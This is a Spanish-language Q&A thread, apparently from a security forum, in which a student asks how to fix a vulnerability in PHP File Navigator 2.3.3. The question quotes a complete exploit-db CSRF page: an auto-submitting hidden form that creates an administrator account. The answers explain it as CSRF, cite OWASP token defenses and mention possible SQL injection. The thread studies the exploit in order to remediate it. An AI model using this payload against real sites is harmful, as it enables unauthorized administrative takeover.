¿Posibles contramedidas / arreglos para este código de explotación de php?

2

Encontré este código de vulnerabilidad de escalada de privilegios en el sitio web de vulnerabilidad de exploit-db y, como una asignación, necesito determinar qué contramedidas usaré para corregir esta vulnerabilidad. Como parte de los criterios de asignación, la corrección debe ser codificada.

Todavía soy nuevo en la explotación de vulnerabilidades y php, así que me cuesta un poco entender cómo corregir esto. He considerado implementar la separación de privilegios mínimos o privilegios, pero no sé cómo se implementarán. ¿Cuál sería una contramedida o corrección apropiada para esta vulnerabilidad?

Sistema: PHP File Navigator 2.3.3

Código de explotación:

<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()

}
</script>
<body onLoad="pwn()">


<!-- Escalate privs to that of Admin -->

<form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
<input type="hidden" name="id_usuario" value="5" />
<input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
<input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
<input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
<input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
<input type="text" id="email" name="email" value="[email protected]" class="text"
tabindex="50" />
<input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
<input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">
<option value="1" >ON</option>
<option value="0" selected="selected">OFF</option>
</select>
<select id="id_grupo" name="id_grupo" tabindex="80">
<option value="1" selected="selected">Administrators</option>
</select>
<select id="admin" name="admin" tabindex="90">
<option value="1" selected="selected">ON</option>
<option value="0">OFF</option>
</select>
<select id="estado" name="estado" tabindex="100">
<option value="1" selected="selected">ON</option>
<option value="0" >OFF</option>
</select>
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
class="checkbox" />
</form>

</body>
</html>
    
pregunta Osiris93 09.10.2016 - 20:01
fuente

2 respuestas

1

Esto definitivamente no es un exploit para CVE-2011-3775 , que es una vulnerabilidad de fuga de información de baja gravedad.

Lo que esto es es un exploit para una vulnerabilidad CSRF , para que Es contra lo que deberías defenderte. Ver, por ejemplo, OWASP en la defensa contra CSRF

    
respondido por el tim 09.10.2016 - 20:28
fuente
0

Entonces, todo el problema de esto es que puede enviar ese formulario arbitrariamente a su gdar.php. gdar.php solo debe permitir que se publique información desde ciertas páginas, esto se puede lograr con cookies / tokens de sesión para verificar que se encuentran en una página determinada y que son ciertos usuarios con ciertos privilegios. Consulte OWASP PHP Security Cheat Sheet para obtener más información sobre cómo prevenir la CSRF.

Mirando el código gdar.php, también parece que es susceptible a una inyección SQL, ya que simplemente toma el texto enviado de los campos de publicación a una consulta. Visite este recurso para detener SQLi en PHP.

    
respondido por el Ryan Kelso 06.02.2017 - 21:51
fuente

Lea otras preguntas en las etiquetas